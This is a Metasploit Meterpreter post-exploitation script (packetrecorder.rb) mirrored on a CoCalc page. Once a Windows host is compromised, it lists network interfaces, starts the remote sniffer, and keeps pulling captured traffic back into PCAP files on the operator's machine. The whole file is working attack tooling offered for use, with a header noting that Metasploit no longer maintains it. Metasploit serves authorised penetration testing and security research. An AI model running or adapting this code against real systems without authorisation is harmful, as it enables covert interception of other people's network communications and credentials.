CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/packetrecorder.rb
Views: 1904
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
9
#-------------------------------------------------------------------------------
10
################## Variable Declarations ##################
11
12
@client = client
13
14
# Interval for recording packets
15
rec_time = 30
16
17
# Interface ID
18
int_id = nil
19
20
# List Interfaces
21
list_int = nil
22
23
# Log Folder
24
log_dest = nil
25
@exec_opts = Rex::Parser::Arguments.new(
26
"-h" => [ false, "Help menu."],
27
"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],
28
"-i" => [ true, "Interface ID number where all packet capture will be done."],
29
"-L" => [ false, "List interfaces that can be used for capture."],
30
"-l" => [ true, "Specify and alternate folder to save PCAP file."]
31
)
32
meter_type = client.platform
33
34
################## Function Declarations ##################
35
36
# Usage Message Function
37
#-------------------------------------------------------------------------------
38
def usage
39
print_line "Meterpreter Script for capturing packets in to a PCAP file"
40
print_line "on a target host given a interface ID."
41
print_line(@exec_opts.usage)
42
raise Rex::Script::Completed
43
end
44
45
# Wrong Meterpreter Version Message Function
46
#-------------------------------------------------------------------------------
47
def wrong_meter_version(meter = meter_type)
48
print_error("#{meter} version of Meterpreter is not supported with this Script!")
49
raise Rex::Script::Completed
50
end
51
52
# Function for creating log folder and returning log pa
53
#-------------------------------------------------------------------------------
54
def log_file(log_path = nil)
55
#Get hostname
56
host = @client.sys.config.sysinfo["Computer"]
57
58
# Create Filename info to be appended to downloaded files
59
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
60
61
# Create a directory for the logs
62
if log_path
63
logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo )
64
else
65
logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo )
66
end
67
68
# Create the log directory
69
::FileUtils.mkdir_p(logs)
70
71
#logfile name
72
logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
73
return Rex::FileUtils.clean_path(logfile)
74
end
75
76
#Function for Starting Capture
77
#-------------------------------------------------------------------------------
78
def startsniff(interface_id)
79
begin
80
#Load Sniffer module
81
@client.core.use("sniffer")
82
print_status("Starting Packet capture on interface #{interface_id}")
83
#starting packet capture with a buffer size of 200,000 packets
84
@client.sniffer.capture_start(interface_id, 200000)
85
print_good("Packet capture started")
86
rescue ::Exception => e
87
print_status("Error Starting Packet Capture: #{e.class} #{e}")
88
raise Rex::Script::Completed
89
end
90
end
91
92
#Function for Recording captured packets into PCAP file
93
#-------------------------------------------------------------------------------
94
def packetrecord(packtime, logfile,intid)
95
begin
96
rec = 1
97
print_status("Packets being saved in to #{logfile}")
98
print_status("Packet capture interval is #{packtime} Seconds")
99
#Inserting Packets every number of seconds specified
100
while rec == 1
101
path_cap = logfile
102
path_raw = logfile + '.raw'
103
fd = ::File.new(path_raw, 'wb+')
104
#Flushing Buffers
105
res = @client.sniffer.capture_dump(intid)
106
bytes_all = res[:bytes] || 0
107
bytes_got = 0
108
bytes_pct = 0
109
while (bytes_all > 0)
110
res = @client.sniffer.capture_dump_read(intid,1024*512)
111
bytes_got += res[:bytes]
112
pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
113
if(pct > bytes_pct)
114
bytes_pct = pct
115
end
116
break if res[:bytes] == 0
117
fd.write(res[:data])
118
end
119
120
fd.close
121
#Converting raw file to PCAP
122
fd = nil
123
if(::File.exist?(path_cap))
124
fd = ::File.new(path_cap, 'ab+')
125
else
126
fd = ::File.new(path_cap, 'wb+')
127
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
128
end
129
od = ::File.new(path_raw, 'rb')
130
131
# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
132
while(true)
133
buf = od.read(20)
134
break if not buf
135
136
idh,idl,thi,tlo,len = buf.unpack('N5')
137
break if not len
138
if(len > 10000)
139
print_error("Corrupted packet data (length:#{len})")
140
break
141
end
142
143
pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
144
pkt = od.read(len)
145
fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
146
end
147
od.close
148
fd.close
149
150
::File.unlink(path_raw)
151
sleep(2)
152
sleep(packtime.to_i)
153
154
end
155
rescue::Exception => e
156
print("\n")
157
print_status("#{e.class} #{e}")
158
print_good("Stopping Packet sniffer...")
159
@client.sniffer.capture_stop(intid)
160
end
161
end
162
163
# Function for listing interfaces
164
# ------------------------------------------------------------------------------
165
def int_list()
166
begin
167
@client.core.use("sniffer")
168
ifaces = @client.sniffer.interfaces()
169
170
print_line()
171
172
ifaces.each do |i|
173
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
174
i['idx'], i['description'],
175
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
176
)
177
end
178
179
print_line()
180
rescue ::Exception => e
181
print_error("Error listing interface: #{e.class} #{e}")
182
end
183
raise Rex::Script::Completed
184
end
185
186
################## Main ##################
187
@exec_opts.parse(args) { |opt, idx, val|
188
case opt
189
when "-h"
190
usage
191
when "-i"
192
int_id = val.to_i
193
when "-l"
194
log_dest = val
195
when "-L"
196
list_int = 1
197
when "-t"
198
rec_time = val
199
end
200
}
201
202
# Check for Version of Meterpreter
203
wrong_meter_version(meter_type) if meter_type != 'windows'
204
205
if !int_id.nil? or !list_int.nil?
206
if not is_uac_enabled? or is_admin?
207
if !list_int.nil?
208
int_list
209
else
210
pcap_file = log_file(log_dest)
211
startsniff(int_id)
212
packetrecord(rec_time,pcap_file,int_id)
213
end
214
else
215
print_error("Access denied (UAC enabled?)")
216
end
217
else
218
usage
219
end
220
221